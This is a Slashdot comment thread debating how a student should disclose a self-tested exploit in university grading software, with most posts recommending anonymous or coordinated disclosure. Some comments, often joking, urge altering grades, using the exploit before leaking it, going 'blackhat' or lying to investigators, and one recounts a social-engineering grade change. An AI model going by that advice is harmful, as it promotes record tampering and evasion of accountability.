  163. raisethefist.com by Anonymous Coward · · Score: 0

    do like the FBI did to him.
    SHUT THE FUCK UP!!!
    in other words, keep it to yourself, unless you want the feds to put you away for hacker terrorism for 20 years.

  164. Why not a Federal Clearance-based System? by RoddyR2 · · Score: 1

    What about a clearance level for those admins who need to know how to access software bugs. These would have to be federal and recognized by all academic institutions as superceding school level laws. This would be 'given out' like a DOD level clearance and policed the same way. Corporations would sponsor this clearance. Educational institutions would be able to have fees waived / absorbed by corporations. Anyone with this clearance can be contacted by someone reporting a bug / exploit activities. Alternatively have a submission form that would handle disclosure and reporting to necessary party. Submitter is immune to legal ramifications of detection and noted in the trusted system for future, along with all identifying information so that if a school questions this activity, the school will be able to rapidly learn of the student's having followed the correct procedure. Recipient will filter the bug into the system. Make it policy to release submitted information (after a certain time period) to bugtraq/etc to motivate / ensure the rapid response of the party whose work has been knowingly, officially compromised. Thoughts...

  165. The wireless guy! by retro128 · · Score: 1

    There was a city in Texas, Dallas I think, who's city clerk's office had a wide open AP. A wardriver is nice enough to point it out, but gets smacked down with criminal hacking charges, probably because the idiots were embarrassed about being own3d by a Pringles can.

    Moral of the story: Forget being nice. Knowing more than "they" do will only land you in trouble. Either give yourself an "A" or forget about the whole thing.

    --
    -R
  166. Baner? Laugh! by SnappingTurtle · · Score: 1

    I happen to know a lot of people in the IT departments at Va Tech, where they use Banner. I can tell you that Banner is HATED there. A recurring comment is that the people who made Banner must consider compilation a proof of success. Worse, I've heard it said repeatedly that Banner is the worst spent money many of them have ever seen... and that's saying a lot at a state institution.

    --
    I've found that my posts don't format quite right w/o a sig.
  167. Brown Paper Bag. by Stephen+Samuel · · Score: 1
    Yep. I agree. Anonymity may be the key. Slip a disk in the president's mail, Explain what you know, and tell them why you're not going to them personally. Give them a way to tell you anonymously that it's safe for you to talk in person (eg. a strangely worded personal announcement in the school paper).

    Given that an unscrupulous person finding out about the exploit could really mess up the marks in your class, I'd say that it's a good idea for you to notify them of the problem in some way or another.

    --
    Free Software: Like love, it grows best when given away.
    1. Re:Brown Paper Bag. by bareminimum · · Score: 1

      You are not James Bond. This is just about releasing some information. Don't take this too far bro.

    2. Re:Brown Paper Bag. by hesiod · · Score: 1

      > You are not James Bond. Don't take this too far bro.

      That's exactly what I was thinking about this whole thing, you just gave the proper words to my feelings. No one is gonna get sued because they tell an online homework company that there are bugs on their site. That is, of course, unless that person is stupid enough to exploit them. If that's the case, simple: don't tell anyone, or use hushmail & leave it for the company to fix their bugs. Otherwise, why hide? Big F'ing deal.

      If the company is smart, they'll fix it before anyone else finds out about it.

    3. Re:Brown Paper Bag. by Stephen+Samuel · · Score: 1
      If it makes him happier to do the James Bond thing, then let him... The important things are:
      1. The school/company find out about the hole and fix it, and
      2. He isn't scared that he's gonna get sued, arrested and otherwise persecuted for having looked too close at the code.
      I don't know just how anal his school administration is... he does. It's definitely within the realm of possibility that if they're really uptight, there is the possibilith that they really could sic the police on him -- Just because current laws are that stupid doesn't mean that everybody is willing to presume that they won't get enforced at such a stupid level.

      If the school isn't so anal as to want to go after him for his security work, then they need a way to notify him. The personal ad thing may be James Bond-ish, but it does the job, and it's pretty cheap and easy. What more do you want?

      --
      Free Software: Like love, it grows best when given away.
  168. Tell CERT by Anonymous Coward · · Score: 0

    CERT, or a similar agency can contact the relevant software distributor and the university but still keep your anonymity. They have a better chance of giving a trusted opinion that does not involve lawsuits.

  169. Contact Me by jsnider · · Score: 5, Informative

    I'm making the assumption that the software you found a problem in is Blackboard. I apologize if that is not the
    case, however, I would still be happy to take your discovery to the vendors of whatever software it is on your
    behalf.

    I work for a major university as the Blackboard programmer/administrator. I've been working on the
    Blackboard code for years, making substantial modifications to the Bb system to suit our university. I've found
    my share of bugs, problems, and more than one gaping hole. Blackboard is riddled with XSS, input validation, SQL
    insertion, replay, predictable sequences, and I'm sure countless other vulnerabilities. Quite frankly I'm amazed
    at how few breaches I hear about.

    I think you're right to be careful, but try to not get carried away. At least in our department, we're eager to
    hear about problems and fix them. We're not interested in ruining someone's college education. However, you
    should be careful about who you contact. At our university, the usual IT people are paranoid. You need to
    get as close to the people who deal with Bb as you possibly can. Contacting a suit in upper IT would likely get
    you the slapdown. Start lower. You're looking for the geeky programmer who deals with Bb all day long and would
    drop everything they are doing to fix a hole in their system.

    If you are not comfortable contacting representatives at your university, feel free to contact me about your
    discovery. This sort of stuff is what I do, and besides, I'm already on Blackboard's shit list. I have another
    issue to report to Bb, (the afore mentioned gaping hole) and I'd be happy to send your information along with it,
    with or without your name. jeff (somewhere near) jsnider.net

  170. Magna Cum Laude by Lord+Kano · · Score: 1

    What more needs to be said?

    --
    "Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
  171. Now there's irony for you... by WIAKywbfatw · · Score: 1

    No it dosn't.

    Funny how, in a post joking about Latin spelling and grammar, you manage to misspell a simple word.

    --

    "Accept that some days you are the pigeon, and some days you are the statue." - David Brent, Wernham Hogg
  172. the easy way by Anonymous Coward · · Score: 0

    obviously you shouldn't use CD, it might get lost in the mail! Instead, post full exploit source code (essential) and any other information (also important) to many high-profile newsgroups from an anonymous computer - say, at a local library or internet cafe - and watch 'em sit up and take notice real fast. Even if the program isn't fixed, you've managed to relay the importance of using SECURE, OPEN software to all concerned. Right? Right!

  173. Hypocrite by no_mayl · · Score: 1


    > Naturally, I want to share this information with
    > their software engineers, and would even be nice
    > enough and suggest a means to fixing it.
    Drop the ego!
    Go to a public library and email the appropriate people anonymously.
    If you still want to show off your skills to your buddies, then gpg sign your email, so that later you can prove that you wrote it.

    --
    jpa

  174. similar mentality to credit card companies by Anonymous Coward · · Score: 0
    if you inherit debt that is currently in a state of negligence yet want to pay it off here is what you must consider:
    1. the time (5 years? I'm rather sleepy headed now) is reset upon payoff even if 1 day before the 5 year period/expire
    2. said blotch on your credit report is a category 1
    3. You will end up paying for any collection activities and "padding" outside of the actual interest
    4. the credit card agency has already counted off your amount as a business loss
    5. If at the end of the time period you do not pay, then you are "in the clear"
    This concludes with: Their system is obviously not geared to assist you in doing the right thing. When attempting to speak with their collection (internal) folks they are very rude, belligerant and well... just plain illogical and patronizing. They will say things (in word and in print) like, "If you pay amount X in 14 days (the usual scare tactic time) we will consider removing the negligent status on your record."

    What they fail to mention is that while the "negligent status" is removed, the actual record (as mentioned earlier) is still on your record for a period that has now been reset at the time you paid. They clearly have no problems with this and do not understand how it is not conducive to them getting their money. Dead beats are one thing, but so vehemently punishing those who either eventually come to their senses or just happened across this crap and want to make good, is just foolish.

    Ahh, the bureaucratic mind...

  175. Down boy, down.... by Kjella · · Score: 1

    YOu make it sound as if he has the hiding places of both Osama Bin Laden and Saddam Hussein, but won't tell. Were you by any chance the inspiration for a character in "Enemy of the State"?

    Even if the University understands that reporting these bugs probably means you didn't want to exploit them, they have an obligation to investigate if you, or anyone else that has found these bugs have done so anyway. And if they have your ID, you're an easy "target" of the investigation.

    So you don't give them ID. If it's reasonably hard to get your ID, they'll most likely revert to actually checking the vunerable systems instead. But you don't have to go all cloak-and-dagger about it.

    Kjella

    --
    Live today, because you never know what tomorrow brings
    1. Re:Down boy, down.... by robi2106 · · Score: 0, Offtopic

      But you don't have to go all cloak-and-dagger about it.

      But that is where all of the fun comes from!

      robi

  176. Ha Ha Ha! "A"s for EVERYONE! by Greyfox · · Score: 1
    Just use the exploit to give everyone across the country an A! It'll get fixed fast enough after that...

    PS: I am SO Not a Lawyer...

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  177. The best thing to do. by Yim · · Score: 1

    In this situation, the best thing to do is panic. Throw your arms up, scream at the heavens, run around naked and panic.

    --
    -Yim
  178. easy ... by Wansu · · Score: 1


    ... just do it the old fashioned way, write it on the bathroom wall, perhaps as a limerick ...

    yessir

    --
    Wansu, th' chinese sailor
  179. Give me the source by nzyank · · Score: 1

    I'll take good care of it for you

  180. Ethical? by Duckling · · Score: 1


    First of all, ethics has nothing to do with this.
    You're not worried about the ethics of the matter,
    if you were, you would've checked _FIRST_ to see whether what you were about to do was ehtical.

    The real question you ask is: "how do I get away
    with blowing the whistle?"

    It would, of course, be unethical to not notify the software makers, or the university, about such a vulnerability, but you should've talked to them about your suspicions in order to be ethical.
    After all, who knows what you could've broken in the process?

    So you sent yourself up a certain waterway without a certain instrument, and that's just too bad for you.

  181. MOD PARENT UP by Anonymous Coward · · Score: 0

    Original idea.

  182. It happened to me by mcrbids · · Score: 2, Interesting

    Well, mostly.

    I was working on a site for a client, and discovered a vulnerability that was easily exploitable in a Credit Card interface for a large, well-known company.

    I sent details of the exploit, complete with working code samples to the company in a carefully written, detailed, email.

    About 2 weeks later, I got a phone call from a *very* agitated man who kept saying over and over: "it's not really a problem". I simply listened; I had nothing to say since it'd already been said. I didn't say anything, and he eventually hung up on one of the weirdest phone calls I've ever had.

    The vulnerability allows me to buy anything I want from any client site of said large, well-known company.

    So, speak your piece. Send the details to the company/vendor, along with full details, exploit code, everything you know. Make it clear that you are not going to publish it, or at least make clear the conditions that would make you feel it necessary to publish, and put the onus on them.

    I did, and I have a clear conscience.

    --
    I have no problem with your religion until you decide it's reason to deprive others of the truth.
  183. Use a foreign mailfriend by Anonymous Coward · · Score: 0

    I think he should submit his information via a mailfriend from a FOREIGN COUNTRY. Send it to him (preferably by snail mail, because that's harder to trace back to you) and have him mail it to whoever it should be sent to. Even safer than most attempts to remain anonymous (Everything on the Internet is logged and any letters you write have your fingerprints and maybe your handwriting on them) and it gives you a return channel, should they want to contact you. And they won't be able to touch your friend unless they can convince George W Bush that your exploit is a WMD and that he should declare war on your friend's country. (I wanted to put a smiley here, but something tells me that this remark is not as funny as it should be.)

  184. Tell CERT about it by Anonymous Coward · · Score: 1, Informative

    Simple, submit the info of the exploit and fix to CERT and they will take care of the rest.

  185. exploit ... by Anonymous Coward · · Score: 0

    use the exploit extensively!
    until it gets really really anoying.
    then leak the exploit code with details anonymously ...

    that should get them of their butts :)

    oh, and use a acoustic coupler and a public phone :)

  186. Use remailers by basser · · Score: 0

    Firstly, you have to deal with the issue that you tested it.
    If you are not confident that you left no traces then shut up about it:)

    If you are confident, use several remailers to email the exploit to them. (You must be anonymous)
    Let them know, that you expect them to post the fixes on bugtraq withing 2 months or so (Give a specific date). Let them know if they don't submit it by then you will. That gives them time to save their ass, and lets you know whether they've done anything about it without risking your ass by running the exploit again.

    Good Luck. Hope all goes well

  187. And that is part of the problem by Anonymous Coward · · Score: 0

    "you had better be able to prove that you have not altered your grades"

    Er, what? This is the guy who's trying to stop everyone else doing it. As if he's really going to go in and set himself up a bunch of As then tell you how he did it.

    "If this means a call to security then I am obligated to do that"

    You'll call in the cops. This guy is trying to HELP. Get your head out of your ass for a change.

    "Example, next year you suddenly become a honor student"

    And supposing you've chosen to do nothing, and his - that is the chap who's being honest here and trying to HELP, read that last word again: HELP, as opposed to HINDER - grades do suddenly leap, (a) he could be putting in a load of extra work; it doesn't automatically mean he's cheating (b) how do you know it wasn't one of his unethical colleages deciding to make things difficult for him, especially if he's trying to stop him from increasing his own grades and he (the unethical one) now has an axe to grind?

    To the OP - what I would do is one of the following:

    (a) Don't publish at all. Let others cheat. After all, if your final grade is determined by absolute score, rather than relative score, which IIRC is the case at university (and was the case in the UK when I got my degree, although admittedly that was last century), then you have nothing to lose by everyone else getting a 1st.

    (b) Post anonymously. I wouldn't bother with the PGP public key, it won't become advantageous to come forward for the credit; you will automatically fall under suspicion and everyone (as evidenced by the STUPID rant I'm replying to) will automatically assume you're guilty.

    1. Re:And that is part of the problem by WasteOfAmmo · · Score: 1
      "you had better be able to prove that you have not altered your grades"

      Er, what? This is the guy who's trying to stop everyone else doing it. As if he's really going to go in and set himself up a bunch of As then tell you how he did it.

      You would be surprised at what some people will do and for what reasons. As I have already stated: if you are going to report something, for your own good, make sure you can prove your case. To many innocent persons have gotten burned due to things going farther then they every should have. This has nothing to do with me or my position and everything to do with the fact that as the person bring something to the "officials" attentions, you have no idea what the outcome will be.

      "If this means a call to security then I am obligated to do that"

      You'll call in the cops. This guy is trying to HELP. Get your head out of your ass for a change. To be more clear: IF it looks like the exploit is real AND it looks like the person is not legitimate AND it looks like far more damage has been, or could be, done then their story indicates AND the incident affects far more than the students account in my department THEN I have to consider passing the information on to other parties which MAY include or MAY NOT include security.

      "Example, next year you suddenly become a honor student"

      And supposing you've chosen to do nothing, and his - that is the chap who's being honest here and trying to HELP, read that last word again: HELP, as opposed to HINDER - grades do suddenly leap, (a) he could be putting in a load of extra work; it doesn't automatically mean he's cheating (b) how do you know it wasn't one of his unethical colleages deciding to make things difficult for him, especially if he's trying to stop him from increasing his own grades and he (the unethical one) now has an axe to grind?

      I don't have a clue whether the student is legitimate or not and, frankly, I don't care as it is not my job to monitor such situations. In the case that I mentioned above what I did not mention are the circumstances where I would suddenly be involved:

      Let say a student did come to me with some random exploit and I dealt with it without bringing anyone else into the picture (which can and has happened). Even though I did not report the incident I would have documented it in my logs. Now, next term the students academic profile suddenly changes and somebody gets suspicious (would not be me as I have no interest in monitoring students academic profile). The somebody then reports their suspicions and the investigation is on. Knowing that the student worked on my systems the investigator decides to query me for any information I may have. At this point I will fully disclose all relevant information I have regarding the investigation. This is my obligation as the policies I work under dictate. I have no choice in the matter IF I am to take my job seriously and perform my assigned duties to the best of my abilities. Does that make it clearer?

      To the OP - what I would do is one of the following:

      (a) Don't publish at all. Let others cheat. After all, if your final grade is determined by absolute score, rather than relative score, which IIRC is the case at university (and was the case in the UK when I got my degree, although admittedly that was last century), then you have nothing to lose by everyone else getting a 1st.

      Have to disagree with you for a number of ethical and moral reasons which I will not get into here.

      (b) Post anonymously. I wouldn't bother with the PGP public key, it won't become advantageous to come forward for the credit; you will automatically fall under suspicion and everyone (as evidenced by the STUPID rant I'm replying to) will automatically assume you're guilty.

      I agree as I stated outright: submit a full disclosure anonymously to the company and the school. But I disagree with your second point. Not all will assume you're guilty but you w

  188. Read this and you might save $20,000. by Romanpoet · · Score: 1

    My identification so you know I'm not full of shit: -- http://features.slashdot.org/features/03/04/14/184 6250.shtml

    They will sue you immediately. Being students, we are in VERY different positions from 'respected' researchers at larger corporations. You are a small student with low cash resources, you do not have the ability to fight small legal battles, let alone those against a large company in a high-tech case requiring very expensive tech-law specialist lawyers so you don't goto jail.

    As you likely want to publish it anyway, (which is udnerstandable) I recommend a few options: 1) Publish anonymously, preferably in the underground. Bugtraq, 2600, and other such resources are recommendations.
    2) Find some professor or at least some person with a respected position to publish with.
    3) Get word of the security vulnerability strictly to the company (i.e. Mass Fax Spam, phone calls, etc.) After that go blackhat if they do not fix the vulnerability. (They won't BTW)

    Bottom line: DO NOT PUBLISH IN A PUBLIC FORUM UNLESS YOU HAVE A PROFESSOR OR SOME OTHER SECURITY PERSON MUCH HIGHER UP TO PUBLISH WITH YOU. And under _NO_ circumstances, should you publish with full disclosure. Students doing full-disclosure almost demands for a lawsuit which will break you. Go blackhat long before you go full disclosure.

    E-mail me virgilNO_a,t_yak_SPAM_do,t_net if you'd like to talk more about this.


    Goodluck,
    -Virgil

  189. Full disclosure is inevitable by Drakon86 · · Score: 1

    If you allow me to push my 2 cents down the stack, then my opinion is the following:
    You certainly need to somehow notify the vendors and
    the users of the software(schools).
    But they may sue you (they freaks), so you should better do this anonymously. You may be a clever security analyst, but I surely don't think you're alone, and I alse don't think the others who are clever in reverse engineering ain't reading Slashdot.
    So, they interest may only be boosted by your article and the bug will soon be exploited whether
    you want it or not.

    I would suggest you follow the following strategy:
    - Inform the vendor about the bug including all details anonymously (via a chain of cypherpunk remailers), threatening full disclosure in 15 days

    - After 15 days, post (anonymously again) all the gory details on some software security mailing list, like BUGTRAQ.
    You might also contact CERT.

    I hate the country where people wishing to help are ending up being sued for wishing to help.
    P.S. Make sure there is no SCO code in the accounting software! If there is, the vendor is already deep in sh*t.

    Alexander Svadkovsky

    1. Re:Full disclosure is inevitable by Drakon86 · · Score: 1

      Awwww... Sorry for the spelling, I should sleep more... WAY more.

  190. Easy by peterpi · · Score: 1

    Post the exploit as A/C on slashdot.

  191. What I suggest you do by danila · · Score: 1

    1. Post notices on campus saying that you can help people improve their grades.
    2. :) :) :)
    3. Profit.

    --
    Future Wiki -- If you don't think about the future, you cannot have one.
  192. Another possibility...... by Xacac · · Score: 1

    Along the lines of what some of the others have already mentioned about finding a professor that you can trust.

    I'd suggest communicating with a well known, respected, professor from outside of your country (which im assuming is the US) I can suggest one from England who has written multiple books, some of which im informed are used by many US Universities as course books, admittedly he isnt a software professor, he is on the hardware side of things, but he does have some pretty sizeable influence in computing in general, i wont reveal where he has this influence or who he is as I'd prefer not to name him at the current time, ie he might not like his name being brought into this, though i could act as a go between if needed.

    The advantage of this is it becomes a little harder to track you down, and some laws are different over here (I not exactly sure if these would make a difference though)

  193. grades are easy to correct by MyRuger · · Score: 1

    Two years ago at my University, a major exploit in the grade system was found. A business major called the IT dept and claimed to be a professor who had forgotten her password. She then took her newly supplied pass and fixed her grade. Unfortunatley this girl was too stupid to keep it low key and got caught, but I'm sure that many before her hacked the system the easy way.

    If you are looking to change your graded you might as well do it the easy way.

    1. Re:grades are easy to correct by DeanT · · Score: 1
      A business major called the IT dept and claimed to be a professor who had forgotten her password. She then took her newly supplied pass and fixed her grade.
      Social Engineering attacks will always be a danger regardless of the security of the system by other measures.
  194. the funniest thing by Anonymous Coward · · Score: 0

    Uuhhhhh

    You are identifying with Kirk as a real world persona. You are using a made-up story to justify things in the real world

    You need a REALITY CHECK!

    The funniest thing is, the poster in question was moderated up...

  195. Don't Be A Vigilante: Report It and Walk Away by reallocate · · Score: 1

    You should not have written any code.

    Instead, report your findings and suspicions to the school. That's where your responsibility ends. It is not your responsibility to find a way to counter the exploit or to expose those behind it.

    When people take the law into their own hands they're called vigilantes, and they expose themselves to unknown legal risks.

    --
    -- Slashdot: When Public Access TV Says "No"
  196. MOD up by Monofilament · · Score: 1

    if I had points I'd mod this up.

    --


    Who makes you Sig?
  197. Report a problem to MS and they'll sit on it by Anonymous Coward · · Score: 0

    I reported an exploit to MS. They came up with a fix. It's been over a year and they still haven't released the fix to the public.

  198. Just be tactful... by JAgostoni · · Score: 1

    This reminds me when we had an interviewee who pointed out a vulnerability in our web server (one guess: IIS) and said that if we hired him he would fix it for us. We told him he was lucky we didn't persue legal action against him and to never contact the company again. If he had been more tactful about it, we probably would have hired him for reasons other than the vulnerability. The vulnerability was already well-known anyway.

  199. Some good advice by Anonymous Coward · · Score: 0

    He should delete all his "exploits", keep his mouth shut, and if somebody challenges him, he should deny it like hell.

    The kid is trying to do the right thing, but the laws and rules are stacked against him.

    Keep your mouth shut, your head down, and just wait a few months. If the campus police show up, get a lawyer, and deny deny deny deny.

    Admit nothing.

  200. Did you mean arbitrary score... by SharpFang · · Score: 1

    ...or arbitrary frags number?

    --
    45 5F E1 04 22 CA 29 C4 93 3F 95 05 2B 79 2A B2
  201. It's simple. Don't. by panda · · Score: 1

    Don't report the problem. Just be sure to give yourself straight As or whatever the equivalent is at your location.

    --
    Just be sure to wear the gold uniform when you beam down -- you know what happens when you wear the red one.
  202. Don't - They'll kick you out. by purduephotog · · Score: 1

    True story-
    Problem with servers discovered. Problem tested, shown reproduceable, reported to school IT department (CS really).
    Result: Academic probation followed up by academic dismissal for hacking.
    Do NOT turn the code in, simply anon remail it if you have to.

  203. Full disclosure by adrianbaugh · · Score: 1

    Use one of the anonymous remailers to inform the software company of the exploit (and any ideas you have for a fix), with a promise that if a fix isn't forthcoming within a reasonable (and specified) timeframe the exploit (and any ideas you have for a fix) will be posted to a full-disclosure mailing list.

    --
    "'I pass the test,' she said. 'I will diminish, and go into the West, and remain Galadriel.'"
    - JRR Tolkien.
  204. trust by Anonymous Coward · · Score: 0

    if you are a trusted person, and the school administrators know you as a good guy, then tell them that you "saw" a known exploit and want to double check the software for this. IN FRONT OF THEM... this is the key. Then show them that you can change failing students grade to an A, and go from there.

  205. Reminds me of a song by kawika · · Score: 1

    Security holes I've discovered,
    The records of grades are now mine.
    What once was a one point five average,
    Is now a three point nine nine!

  206. Remarkably easy by StormReaver · · Score: 1

    I'm amazed that this is still a question any Slashdot reader may still have. The answer is remarkably easy.

    The law does not want your help in making other companies' software secure. End of story. In fact, the law wants to put you in prison and throw away the key for making other companies' software more secure.

    Do not exploit the weakness unless it is a normal part of the software's operation, and do not distribute the exploit for the software. Do not tell the software maker that you discovered the flaw, as you are more likely to be sued than thanked.

    If you needed to do any reverse engineering to discover the flaw, then do not discuss the flaw, do not tell your teacher you found the flaw, and do not attempt to alter your grades by exploiting the flaw (unless, as stated above, the flaw can be exploited by using the software in its normal course of operation, without resorting to outside tools).

  207. Apathy is a disease among underpaid college admins by div_2n · · Score: 1

    At least at the college I went to that seemed to be the case. I remember I started logging all the security problems I found just with just some simple lazy man's poking around:

    -No firewall at all
    -Old HP-UX e-mail system with weak DES hashed non-shadowed passwords (Hello John the Ripper)
    -Wide open Lexmark laser printers (MarkVision heaven)
    -Unpatched lab computers everywhere (Winnuke heaven)
    -Windows NT pre SP4 Servers
    -Open relay SMTP
    -Managed switches with default passwords

    Then I sent an e-mail to the admin warning him of what I had found in a few days of poking around. His response was and I paraphrase but almost quote "You are a computer science student and have the ability to exploit those problems but the average student doesn't."

    That was fine. I thought I would level the playing field by writing an article for the school newspaper outlining the holes and even gave URL's to download software to test out the problems. Literally within a few weeks a firewall was installed, default passwords changed, printers were locked down and all e-mail passwords were required to be changed with much greater restrictions on length and complexity.

    As a side note I applied for a job after graduating with the school IT department. I never even got a call. Small price to pay to help save the poor hapless students from getting their PC's owned.

  208. disclosue to technical people by plcurechax · · Score: 1

    I have written and -selftested proof-of-concept exploit code.

    This part bothers me, but I am not clear on whether you tested this on your university's live system. If so, you have committed a crime.

    If this is the case, I would recommend you turn yourself in, find the university computing services staff member who is responsible for the system, and talk to them in person. Tell them you have found a security problem, and that you have altered data on their system. Specify what data you have changed (i.e. your grades, or whatever).

    You are in the role of damage control, if you have made unauthorized access to a system you do not have the authorization to modify. You may have broken the law. If this is the case, cooperate in an attempt to get no charges laid, and get the problem fixed.

    If you have not attacked the university's systems, find a technical contact with the software manufactorer, and inform them you believe there are security problems with ___. Do not mention any exploit code in early conversations.

    If the company does not response to you informing them of security flaws, follow the full disclosure policy as outlined by RainForestPuppy's RFPolicy.
    Strongly avoid releasing exploit code while there is no fix. That should be a last ditch attempt at forcing them to admit there is a problem. Also give them lots of time to get their fix out, once they do acknowledge there is a problem and want to fix it.

    The ethical thing to do is to take resonability for your own actions, then to help serve the public good by reducing the security risk to all those vulrenable system by attempting to get a security fix released.

    1. Re:disclosue to technical people by myz24 · · Score: 1

      I would recommend you turn yourself in, find the university computing services staff member who is responsible for the system, and talk to them in person

      I agree completely. You should certainly contact your computer services or IT department first.

      Many moons ago I was surfing securityfocus and found some sample exploits for Windows NT 4.0 and IIS 4. Being the not so smart person I am I decided to try these out on the main campus webserver. Sure enough they worked. First thing I did was tell the webmaster of that server it is vulnerable to such attacks (which included showing source code) and I actually ended up getting a full tour of the server room at my school. Talk about geeky bonus!

      Besides, it's better that you tell them anyway because if its a web based exploit and you did all the work from your dorm room, then they have logs showing your IP trying things anyway.

    2. Re:disclosue to technical people by russotto · · Score: 1

      Are you NUTS? ADMIT to someone in authority that he broke into the system? Whether or not there was an ethical breach (and I'd argue that a live test where one changed some inconsequential information or changed some information then changed it back is NOT unethical), admitting to violating the law is NOT a good thing. Depending on the university's attitude, that could lead to anything from expulsion to a few years in a pound-you-in-the-ass prison.

      If you actually did try the exploit on a live system, remember thy Fifth Amendment and keep it holy.

      If you absolutely feel the need to confess, do NOT confess to the IT people. They have a duty to the University and to the integrity of their systems, and no duty at all to you. Making an example out of you is a perfect way of covering their embarrasment.

    3. Re:disclosue to technical people by plcurechax · · Score: 1

      Are you NUTS? ADMIT to someone in authority that he broke into the system?

      Nuts, no. I was once invited to the computer centre to explain some login annomlies with my own account. When I admitted to sharing my account with another user. They ended up hiring me for 6 years on a steadily increasing salary.

      Depending on the university's attitude, that could lead to anything from expulsion to a few years in a pound-you-in-the-ass prison.

      Doubt that. Universities strongly prefer to quietly deal with any and all incidents of security, from computers to rape, in private with their own university judical system if possible. If there is nothing in the media to embarass them, the computer centre has no interest in making it an public issue. Common displine would be losing your account until end of the semester.

      If you absolutely feel the need to confess, do NOT confess to the IT people. They have a duty to the University and to the integrity of their systems, and no duty at all to you.

      Or you could act like a responsible adult, and take responsibility for your actions.

      All computing service staff I have been employed with, or had help me as a student, have always been nice and helpful to me if I tried to make their life easier. And the converse, if you make their life hard, they will return the favour.

      Like in court, penalties for admitting wrongdoing are lower than having to have a full investigation. The expense if they hire outside experts may be passed on you as part of a fine.

      Making an example out of you is a perfect way of covering their embarrasment.

      Most univesity staff have more important and interesting things to do than to make (paper) work and attend meeting (of university judicals) for themselves. If you don't embarass them, they will act in a rational and reasonable fashion.

  209. Why do anything? by slavemowgli · · Score: 1

    Don't do anything about it at all. If a student is clever enough to figure out how to give themselves higher grades, then they probably deserve them. ;)

    --
    quidquid latine dictum sit altum videtur.
  210. Asscovering sysadmin.... by just+fiddling+around · · Score: 1
    Your attitude is bad from 2 angles:

    1- (said by others) By taking the focus on the student, you discourage any other altruistic (he would give the time he invested in this) and useful discoveries. Starting a witchhunt does nothing productive.
    2- you are only concerned about covering your ass. This is horrible, especially because the security hole is NOT your fault! Do you measure the consequences for that guy??? You would break his career(before it started) for helping you!

    You are an irresponsible bastard, and if you were my sysadmin, I would FIRE you. You job is making the system secure, wherever the info you use come from. You probably are the type of guy who does not want to go to "hacker sites" even if the info is crucial to your job.

    --
    You're not old until regret takes the place of your dreams.
    1. Re:Asscovering sysadmin.... by WasteOfAmmo · · Score: 1
      Do me a favor, and read my other replies. In short:

      1. I do not support witchhunts and I could not agree with you more on this issue.

      2. I'm not entirely sure why you say I am covering my ass. Yes I generally act within the boundries set out for me by the university (my boss) as I do rather like my job and hate job hunting. No I do not hold the BOFH as my mentor and attempt to screw every student/person who comes to me for help or intending to help me.

      3. Based your response (aggresive, un-investigated allegations, personal attacks instead of objective critisism) I would not be yours to fire as I would either not work for you or quit when your true colors were revealed.

      But thanks for point out the lack of clarity in my post so I could address it.

      M.

    2. Re:Asscovering sysadmin.... by just+fiddling+around · · Score: 1
      I'll restate my point, so you understand. Maybe it was not clear, because I was shocked by your attitude.

      The boundaries set by your boss (for exemple: the student honor code) are made for all the "normal" situations, exactly like the laws of the land. They are almost always sensible and justified(DMCA?)

      There are instances, however, where applying the laws gets in the way of the greater good, and going around them is a sensible option.
      Example: Some guy in the mafia comes to the police to give info which could help getting at the boss or prevent a serious crime. I have to precise that this is not a plea bargaining situation; the guy is not under arrest at the time of the confession. Usually, the police does NOT arrest these guys, even if they know from their testimony that they are involved in criminal acts; they even offer protection and, in some cases, a full new identity(all shiny and free from a criminal past!). Is not that unlawful in a few ways, such as faking an identity and letting a criminal run free?

      Following this logic, it is easy to see that you should be covering the informant's ass instead of yours, especially because you can justify your position and use your credibility to protect it. You should do it even if there is some heat on you because of it. I think it is especially evil that you throw someone to the lions because he helped you. In fact, it is almost cartooney evil.

      --
      You're not old until regret takes the place of your dreams.
  211. Tell someone how to raise their grade by digitalgimpus · · Score: 1

    ... then turn them in.

    Nobody will believe them. End of story.

  212. Trusted Professor? by bigfatlamer · · Score: 1

    I'm working on the assumption that you're working in a CS or engineering program at your university. If that's the case, hopefully you've got a professor (or even a Graduate Asst./TA type of person) whom you trust and respect and who hopefully respects you. I would suggest talking to such a person, lay out some of the details of the discovery of the exploit, tell him/her that you've got a working exploit and that you're concerned with getting it into the hands of the company so that they can fix it but that you're also afraid of the consequences.

    Hopefully, the school should also want to get it fixed before you drop the exploit bomb on Bugtraq (all of a sudden, every CS student graduates Magna Cum Laude) and maybe you can find a sympathetic administration-type person to help you through this potential minefield.

    You might also look into talking to someone at the (assuming your school has one) law school. You'll be more likely to find a sympathetic and understanding ear in the legal academic community than in the school's legal department.

    Good luck.

    BFL

    --
    There's one thing computing teaches you, and that's that there's no point to remembering everything.
    --Doug Copland
  213. Shut Up! by Anonymous Coward · · Score: 0

    Shut up, I've been using that vulnerability for the last two years. If you let it out of the bag, thousands of students around the country will be looking for you.

  214. Cutomer satisfaction by slackr · · Score: 1

    Go to the university, not the software company. If they treat their vendors the way typical corporate customers do they'll get that fix done fast.

    --

    * Please do not read my signature.
  215. Be Responsible by NTBugtraq · · Score: 1

    Since you are concerned with how they will react to you, I suggest you allow someone else to approach them. Hushmail is one way, but another is to disclose the details to me. As the NTBugtraq Editor, I frequently approach Vendors with exploits that are, at the time, unpublished. I phone them, find the appropriate person to speak with (usually within their Management, not tech support) and apprise them of the issue. With the right person's email in hand, I forward the issue to them (from my address, with your information completely removed). I expect, and get, a reaction within 2 business days, and then move on to the resolution phase. I get them to explain how long it will take to fix, and why, and keep after them monitoring the progress of the fix. When a fix is ready, I get a copy before they go public to test.

    Of course throughout this process I send you a copy of all communication with the Vendor. In your case, I'd ask them how they would react to the person who discovered the issue, so you'd be able to see what their reaction would be. You're free to jump in the communication any time you want.

    I seek no credit in the affair, and any publication of the issue would bear your name (or nym, whatever you prefer).

    Once the fix is done, you can write up any explanation you deem appropriate. I encourage people to do this responsibly, and not disclose sample exploit code and/or complete details on how to exploit the issue. It should be easy to describe the issue sufficiently to provide an accurate indication of the threat without such details, but its your call. Again, you can use your own address to send the write up, or I can do it for you.

    You can read my short disclosure policy at http://www.ntbugtraq.com/policy.asp

    Cheers,
    Russ - NTBugtraq Editor
    Russ.Cooper@rc.on.ca

    --

    Cheers,
    Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor
  216. Your Path by Zebra_X · · Score: 1

    As with most vulnerabilities:

    Notify the vendor via e-mail. Include all that you know about the vulnerability. Make at least several attempts to contact them.

